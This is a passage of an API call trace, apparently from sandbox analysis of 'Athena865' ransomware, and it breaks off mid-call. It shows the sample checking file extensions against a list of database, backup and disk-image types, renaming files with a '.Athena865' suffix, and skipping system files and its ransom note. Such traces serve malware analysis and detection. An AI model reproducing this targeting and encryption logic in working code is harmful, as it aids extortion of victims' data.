lstrlenW (lpString="accdr") returned 5 [0041.759] lstrcmpiW (lpString1="y.exe", lpString2="accdr") returned 1 [0041.759] lstrlenW (lpString="accdt") returned 5 [0041.759] lstrcmpiW (lpString1="y.exe", lpString2="accdt") returned 1 [0041.759] lstrlenW (lpString="accdw") returned 5 [0041.759] lstrcmpiW (lpString1="y.exe", lpString2="accdw") returned 1 [0041.759] lstrlenW (lpString="accft") returned 5 [0041.759] lstrcmpiW (lpString1="y.exe", lpString2="accft") returned 1 [0041.759] lstrlenW (lpString="adb") returned 3 [0041.759] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0041.759] lstrlenW (lpString="adb") returned 3 [0041.759] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0041.759] lstrlenW (lpString="ade") returned 3 [0041.759] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0041.759] lstrlenW (lpString="adf") returned 3 [0041.759] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0041.759] lstrlenW (lpString="adn") returned 3 [0041.760] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0041.760] lstrlenW (lpString="adp") returned 3 [0041.760] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0041.760] lstrlenW (lpString="alf") returned 3 [0041.760] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0041.760] lstrlenW (lpString="ask") returned 3 [0041.760] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0041.760] lstrlenW (lpString="btr") returned 3 [0041.760] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0041.760] lstrlenW (lpString="cat") returned 3 [0041.760] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0041.760] lstrlenW (lpString="cdb") returned 3 [0041.760] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0041.760] lstrlenW (lpString="ckp") returned 3 [0041.760] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0041.760] lstrlenW (lpString="cma") returned 3 [0041.760] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0041.760] lstrlenW (lpString="cpd") returned 3 [0041.760] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0041.760] lstrlenW (lpString="dacpac") returned 6 [0041.760] lstrcmpiW (lpString1="ly.exe", lpString2="dacpac") returned 1 [0041.760] lstrlenW (lpString="dad") returned 3 [0041.760] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0041.760] lstrlenW (lpString="dadiagrams") returned 10 [0041.760] lstrcmpiW (lpString1="nually.exe", lpString2="dadiagrams") returned 1 [0041.760] lstrlenW (lpString="daschema") returned 8 [0041.760] lstrcmpiW (lpString1="ally.exe", lpString2="daschema") returned -1 [0041.760] lstrlenW (lpString="db-journal") returned 10 [0041.760] lstrcmpiW (lpString1="nually.exe", lpString2="db-journal") returned 1 [0041.760] lstrlenW (lpString="db-shm") returned 6 [0041.760] lstrcmpiW (lpString1="ly.exe", lpString2="db-shm") returned 1 [0041.760] lstrlenW (lpString="db-wal") returned 6 [0041.760] lstrcmpiW (lpString1="ly.exe", lpString2="db-wal") returned 1 [0041.760] lstrlenW (lpString="dbc") returned 3 [0041.760] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0041.760] lstrlenW (lpString="dbs") returned 3 [0041.760] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0041.761] lstrlenW (lpString="dbt") returned 3 [0041.761] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0041.761] lstrlenW (lpString="dbv") returned 3 [0041.761] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0041.761] lstrlenW (lpString="dbx") returned 3 [0041.761] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0041.761] lstrlenW (lpString="dcb") returned 3 [0041.761] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0041.761] lstrlenW (lpString="dct") returned 3 [0041.761] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0041.761] lstrlenW (lpString="dcx") returned 3 [0041.761] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0041.761] lstrlenW (lpString="ddl") returned 3 [0041.761] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0041.761] lstrlenW (lpString="dlis") returned 4 [0041.761] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0041.761] lstrlenW (lpString="dp1") returned 3 [0041.761] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0041.761] lstrlenW (lpString="dqy") returned 3 [0041.761] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0041.761] lstrlenW (lpString="dsk") returned 3 [0041.761] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0041.761] lstrlenW (lpString="dsn") returned 3 [0041.761] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0041.761] lstrlenW (lpString="dtsx") returned 4 [0041.761] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0041.761] lstrlenW (lpString="dxl") returned 3 [0041.761] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0041.761] lstrlenW (lpString="eco") returned 3 [0041.761] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0041.761] lstrlenW (lpString="ecx") returned 3 [0041.761] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0041.761] lstrlenW (lpString="edb") returned 3 [0041.761] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0041.761] lstrlenW (lpString="epim") returned 4 [0041.761] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0041.761] lstrlenW (lpString="fcd") returned 3 [0041.761] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0041.761] lstrlenW (lpString="fdb") returned 3 [0041.762] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0041.762] lstrlenW (lpString="fic") returned 3 [0041.762] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0041.762] lstrlenW (lpString="flexolibrary") returned 12 [0041.762] lstrcmpiW (lpString1="manually.exe", lpString2="flexolibrary") returned 1 [0041.762] lstrlenW (lpString="fm5") returned 3 [0041.762] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0041.762] lstrlenW (lpString="fmp") returned 3 [0041.762] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0041.762] lstrlenW (lpString="fmp12") returned 5 [0041.762] lstrcmpiW (lpString1="y.exe", lpString2="fmp12") returned 1 [0041.762] lstrlenW (lpString="fmpsl") returned 5 [0041.762] lstrcmpiW (lpString1="y.exe", lpString2="fmpsl") returned 1 [0041.762] lstrlenW (lpString="fol") returned 3 [0041.762] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0041.762] lstrlenW (lpString="fp3") returned 3 [0041.762] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0041.762] lstrlenW (lpString="fp4") returned 3 [0041.762] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0041.762] lstrlenW (lpString="fp5") returned 3 [0041.762] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0041.762] lstrlenW (lpString="fp7") returned 3 [0041.762] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0041.762] lstrlenW (lpString="fpt") returned 3 [0041.762] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0041.762] lstrlenW (lpString="frm") returned 3 [0041.762] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0041.762] lstrlenW (lpString="gdb") returned 3 [0041.762] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0041.762] lstrlenW (lpString="gdb") returned 3 [0041.762] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0041.762] lstrlenW (lpString="grdb") returned 4 [0041.762] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0041.762] lstrlenW (lpString="gwi") returned 3 [0041.762] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0041.762] lstrlenW (lpString="hdb") returned 3 [0041.762] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0041.762] lstrlenW (lpString="his") returned 3 [0041.763] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0041.763] lstrlenW (lpString="ib") returned 2 [0041.763] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0041.763] lstrlenW (lpString="idb") returned 3 [0041.763] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0041.763] lstrlenW (lpString="ihx") returned 3 [0041.763] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0041.763] lstrlenW (lpString="itdb") returned 4 [0041.763] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0041.763] lstrlenW (lpString="itw") returned 3 [0041.763] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0041.763] lstrlenW (lpString="jet") returned 3 [0041.763] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0041.763] lstrlenW (lpString="jtx") returned 3 [0041.763] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0041.763] lstrlenW (lpString="kdb") returned 3 [0041.763] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0041.763] lstrlenW (lpString="kexi") returned 4 [0041.763] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0041.763] lstrlenW (lpString="kexic") returned 5 [0041.771] lstrcmpiW (lpString1="y.exe", lpString2="kexic") returned 1 [0041.771] lstrlenW (lpString="kexis") returned 5 [0041.771] lstrcmpiW (lpString1="y.exe", lpString2="kexis") returned 1 [0041.771] lstrlenW (lpString="lgc") returned 3 [0041.771] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0041.771] lstrlenW (lpString="lwx") returned 3 [0041.771] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0041.771] lstrlenW (lpString="maf") returned 3 [0041.771] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0041.771] lstrlenW (lpString="maq") returned 3 [0041.771] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0041.771] lstrlenW (lpString="mar") returned 3 [0041.771] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0041.771] lstrlenW (lpString="marshal") returned 7 [0041.771] lstrcmpiW (lpString1="lly.exe", lpString2="marshal") returned -1 [0041.771] lstrlenW (lpString="mas") returned 3 [0041.771] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0041.771] lstrlenW (lpString="mav") returned 3 [0041.771] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0041.771] lstrlenW (lpString="maw") returned 3 [0041.771] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0041.772] lstrlenW (lpString="mdbhtml") returned 7 [0041.772] lstrcmpiW (lpString1="lly.exe", lpString2="mdbhtml") returned -1 [0041.772] lstrlenW (lpString="mdn") returned 3 [0041.772] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0041.772] lstrlenW (lpString="mdt") returned 3 [0041.772] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0041.772] lstrlenW (lpString="mfd") returned 3 [0041.772] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0041.772] lstrlenW (lpString="mpd") returned 3 [0041.772] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0041.772] lstrlenW (lpString="mrg") returned 3 [0041.772] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0041.772] lstrlenW (lpString="mud") returned 3 [0041.772] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0041.772] lstrlenW (lpString="mwb") returned 3 [0041.772] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0041.772] lstrlenW (lpString="myd") returned 3 [0041.772] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0041.772] lstrlenW (lpString="ndf") returned 3 [0041.772] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0041.772] lstrlenW (lpString="nnt") returned 3 [0041.772] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0041.772] lstrlenW (lpString="nrmlib") returned 6 [0041.772] lstrcmpiW (lpString1="ly.exe", lpString2="nrmlib") returned -1 [0041.772] lstrlenW (lpString="ns2") returned 3 [0041.772] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0041.772] lstrlenW (lpString="ns3") returned 3 [0041.772] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0041.772] lstrlenW (lpString="ns4") returned 3 [0041.772] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0041.772] lstrlenW (lpString="nsf") returned 3 [0041.772] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0041.772] lstrlenW (lpString="nv") returned 2 [0041.772] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0041.772] lstrlenW (lpString="nv2") returned 3 [0041.772] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0041.772] lstrlenW (lpString="nwdb") returned 4 [0041.772] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0041.773] lstrlenW (lpString="nyf") returned 3 [0041.773] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0041.773] lstrlenW (lpString="odb") returned 3 [0041.773] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0041.773] lstrlenW (lpString="odb") returned 3 [0041.773] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0041.773] lstrlenW (lpString="oqy") returned 3 [0041.773] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0041.773] lstrlenW (lpString="ora") returned 3 [0041.773] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0041.773] lstrlenW (lpString="orx") returned 3 [0041.773] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0041.773] lstrlenW (lpString="owc") returned 3 [0041.773] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0041.773] lstrlenW (lpString="p96") returned 3 [0041.773] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0041.773] lstrlenW (lpString="p97") returned 3 [0041.773] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0041.773] lstrlenW (lpString="pan") returned 3 [0041.773] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0041.773] lstrlenW (lpString="pdb") returned 3 [0041.773] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0041.773] lstrlenW (lpString="pdm") returned 3 [0041.773] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0041.773] lstrlenW (lpString="pnz") returned 3 [0041.773] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0041.773] lstrlenW (lpString="qry") returned 3 [0041.773] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0041.773] lstrlenW (lpString="qvd") returned 3 [0041.773] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0041.773] lstrlenW (lpString="rbf") returned 3 [0041.773] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0041.773] lstrlenW (lpString="rctd") returned 4 [0041.773] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0041.773] lstrlenW (lpString="rod") returned 3 [0041.773] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0041.773] lstrlenW (lpString="rodx") returned 4 [0041.773] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0041.774] lstrlenW (lpString="rpd") returned 3 [0041.774] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0041.774] lstrlenW (lpString="rsd") returned 3 [0041.774] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0041.774] lstrlenW (lpString="sas7bdat") returned 8 [0041.774] lstrcmpiW (lpString1="ally.exe", lpString2="sas7bdat") returned -1 [0041.774] lstrlenW (lpString="sbf") returned 3 [0041.774] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0041.774] lstrlenW (lpString="scx") returned 3 [0041.774] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0041.774] lstrlenW (lpString="sdb") returned 3 [0041.774] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0041.774] lstrlenW (lpString="sdc") returned 3 [0041.774] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0041.774] lstrlenW (lpString="sdf") returned 3 [0041.774] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0041.774] lstrlenW (lpString="sis") returned 3 [0041.774] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0041.774] lstrlenW (lpString="spq") returned 3 [0041.774] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0041.774] lstrlenW (lpString="te") returned 2 [0041.774] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0041.774] lstrlenW (lpString="teacher") returned 7 [0041.774] lstrcmpiW (lpString1="lly.exe", lpString2="teacher") returned -1 [0041.774] lstrlenW (lpString="tmd") returned 3 [0041.774] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0041.774] lstrlenW (lpString="tps") returned 3 [0041.774] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0041.774] lstrlenW (lpString="trc") returned 3 [0041.774] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0041.774] lstrlenW (lpString="trc") returned 3 [0041.774] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0041.774] lstrlenW (lpString="trm") returned 3 [0041.774] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0041.774] lstrlenW (lpString="udb") returned 3 [0041.774] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0041.774] lstrlenW (lpString="udl") returned 3 [0041.774] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0041.775] lstrlenW (lpString="usr") returned 3 [0041.775] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0041.775] lstrlenW (lpString="v12") returned 3 [0041.775] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0041.775] lstrlenW (lpString="vis") returned 3 [0041.775] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0041.775] lstrlenW (lpString="vpd") returned 3 [0041.775] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0041.775] lstrlenW (lpString="vvv") returned 3 [0041.775] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0041.775] lstrlenW (lpString="wdb") returned 3 [0041.775] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0041.775] lstrlenW (lpString="wmdb") returned 4 [0041.775] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0041.775] lstrlenW (lpString="wrk") returned 3 [0041.775] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0041.775] lstrlenW (lpString="xdb") returned 3 [0041.775] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0041.775] lstrlenW (lpString="xld") returned 3 [0041.775] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0041.775] lstrlenW (lpString="xmlff") returned 5 [0041.775] lstrcmpiW (lpString1="y.exe", lpString2="xmlff") returned 1 [0041.775] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Portable Devices\\bentmanually.exe.Athena865") returned 68 [0041.775] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Portable Devices\\bentmanually.exe" (normalized: "c:\\program files\\windows portable devices\\bentmanually.exe"), lpNewFileName="C:\\Program Files\\Windows Portable Devices\\bentmanually.exe.Athena865" (normalized: "c:\\program files\\windows portable devices\\bentmanually.exe.athena865"), dwFlags=0x1) returned 1 [0041.776] CreateFileW (lpFileName="C:\\Program Files\\Windows Portable Devices\\bentmanually.exe.Athena865" (normalized: "c:\\program files\\windows portable devices\\bentmanually.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0xffffffff [0041.776] GetLastError () returned 0x20 [0041.776] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S CreateFile error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Windows Portable Devices\\bentmanually.exe CreateFile error 32\r\n") returned 88 [0041.776] lstrlenA (lpString="[ERROR] C:\\Program Files\\Windows Portable Devices\\bentmanually.exe CreateFile error 32\r\n") returned 88 [0041.776] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0041.776] SetFilePointer (in: hFile=0x17c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x17e7 [0041.776] WriteFile (in: hFile=0x17c, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x58, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x58, lpOverlapped=0x0) returned 1 [0041.776] CloseHandle (hObject=0x17c) returned 1 [0041.777] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Portable Devices\\bentmanually.exe.Athena865" (normalized: "c:\\program files\\windows portable devices\\bentmanually.exe.athena865"), lpNewFileName="C:\\Program Files\\Windows Portable Devices\\bentmanually.exe" (normalized: "c:\\program files\\windows portable devices\\bentmanually.exe"), dwFlags=0x1) returned 1 [0041.778] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0041.778] CloseHandle (hObject=0x0) returned 0 [0041.778] CloseHandle (hObject=0xffffffff) returned 0 [0041.778] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc48c140, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc48c140, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0041.778] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0041.778] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa93f44c2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa93f44c2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa93f44c2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0041.778] lstrcmpiW (lpString1="sqmapi.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0041.778] lstrcmpiW (lpString1="sqmapi.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0041.778] lstrcmpiW (lpString1="sqmapi.dll", lpString2=".") returned 1 [0041.778] lstrcmpiW (lpString1="sqmapi.dll", lpString2="..") returned 1 [0041.778] lstrcmpiW (lpString1="sqmapi.dll", lpString2="windows") returned -1 [0041.778] lstrcmpiW (lpString1="sqmapi.dll", lpString2="bootmgr") returned 1 [0041.778] lstrcmpiW (lpString1="sqmapi.dll", lpString2="temp") returned -1 [0041.778] lstrcmpiW (lpString1="sqmapi.dll", lpString2="pagefile.sys") returned 1 [0041.778] lstrcmpiW (lpString1="sqmapi.dll", lpString2="boot") returned 1 [0041.778] lstrcmpiW (lpString1="sqmapi.dll", lpString2="ids.txt") returned 1 [0041.778] lstrcmpiW (lpString1="sqmapi.dll", lpString2="ntuser.dat") returned 1 [0041.778] lstrcmpiW (lpString1="sqmapi.dll", lpString2="perflogs") returned 1 [0041.778] lstrcmpiW (lpString1="sqmapi.dll", lpString2="MSBuild") returned 1 [0041.778] lstrlenW (lpString="sqmapi.dll") returned 10 [0041.778] lstrcpyW (in: lpString1=0x241e89c, lpString2="sqmapi.dll" | out: lpString1="sqmapi.dll") returned="sqmapi.dll" [0041.778] lstrlenW (lpString="sqmapi.dll") returned 10 [0041.778] lstrlenW (lpString="Athena865") returned 9 [0041.778] lstrcmpiW (lpString1="qmapi.dll", lpString2="Athena865") returned 1 [0041.778] lstrlenW (lpString=".dll") returned 4 [0041.778] lstrcmpiW (lpString1="sqmapi.dll", lpString2=".dll") returned 1 [0041.778] lstrlenW (lpString=".lnk") returned 4 [0041.778] lstrcmpiW (lpString1="sqmapi.dll", lpString2=".lnk") returned 1 [0041.778] lstrlenW (lpString=".ini") returned 4 [0041.778] lstrcmpiW (lpString1="sqmapi.dll", lpString2=".ini") returned 1 [0041.778] lstrlenW (lpString=".sys") returned 4 [0041.779] lstrcmpiW (lpString1="sqmapi.dll", lpString2=".sys") returned 1 [0041.779] lstrlenW (lpString="sqmapi.dll") returned 10 [0041.779] lstrlenW (lpString="bak") returned 3 [0041.779] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0041.779] lstrlenW (lpString="ba_") returned 3 [0041.779] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0041.779] lstrlenW (lpString="dbb") returned 3 [0041.779] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0041.779] lstrlenW (lpString="vmdk") returned 4 [0041.779] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0041.779] lstrlenW (lpString="rar") returned 3 [0041.779] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0041.779] lstrlenW (lpString="zip") returned 3 [0041.779] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0041.779] lstrlenW (lpString="tgz") returned 3 [0041.779] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0041.779] lstrlenW (lpString="vbox") returned 4 [0041.779] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0041.779] lstrlenW (lpString="vdi") returned 3 [0041.779] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0041.779] lstrlenW (lpString="vhd") returned 3 [0041.779] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0041.779] lstrlenW (lpString="vhdx") returned 4 [0041.779] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0041.779] lstrlenW (lpString="avhd") returned 4 [0041.779] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0041.779] lstrlenW (lpString="db") returned 2 [0041.779] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0041.779] lstrlenW (lpString="db2") returned 3 [0041.779] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0041.779] lstrlenW (lpString="db3") returned 3 [0041.779] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0041.779] lstrlenW (lpString="dbf") returned 3 [0041.779] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0041.779] lstrlenW (lpString="mdf") returned 3 [0041.779] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0041.780] lstrlenW (lpString="mdb") returned 3 [0041.780] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0041.780] lstrlenW (lpString="sql") returned 3 [0041.780] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0041.780] lstrlenW (lpString="sqlite") returned 6 [0041.780] lstrcmpiW (lpString1="pi.dll", lpString2="sqlite") returned -1 [0041.780] lstrlenW (lpString="sqlite3") returned 7 [0041.780] lstrcmpiW (lpString1="api.dll", lpString2="sqlite3") returned -1 [0041.780] lstrlenW (lpString="sqlitedb") returned 8 [0041.780] lstrcmpiW (lpString1="mapi.dll", lpString2="sqlitedb") returned -1 [0041.780] lstrlenW (lpString="xml") returned 3 [0041.780] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0041.780] lstrlenW (lpString="$er") returned 3 [0041.780] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0041.780] lstrlenW (lpString="4dd") returned 3 [0041.780] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0041.780] lstrlenW (lpString="4dl") returned 3 [0041.780] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0041.780] lstrlenW (lpString="^^^") returned 3 [0041.780] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0041.780] lstrlenW (lpString="abs") returned 3 [0041.780] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0041.780] lstrlenW (lpString="abx") returned 3 [0041.780] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0041.780] lstrlenW (lpString="accdb") returned 5 [0041.780] lstrcmpiW (lpString1="i.dll", lpString2="accdb") returned 1 [0041.780] lstrlenW (lpString="accdc") returned 5 [0041.780] lstrcmpiW (lpString1="i.dll", lpString2="accdc") returned 1 [0041.780] lstrlenW (lpString="accde") returned 5 [0041.780] lstrcmpiW (lpString1="i.dll", lpString2="accde") returned 1 [0041.780] lstrlenW (lpString="accdr") returned 5 [0041.780] lstrcmpiW (lpString1="i.dll", 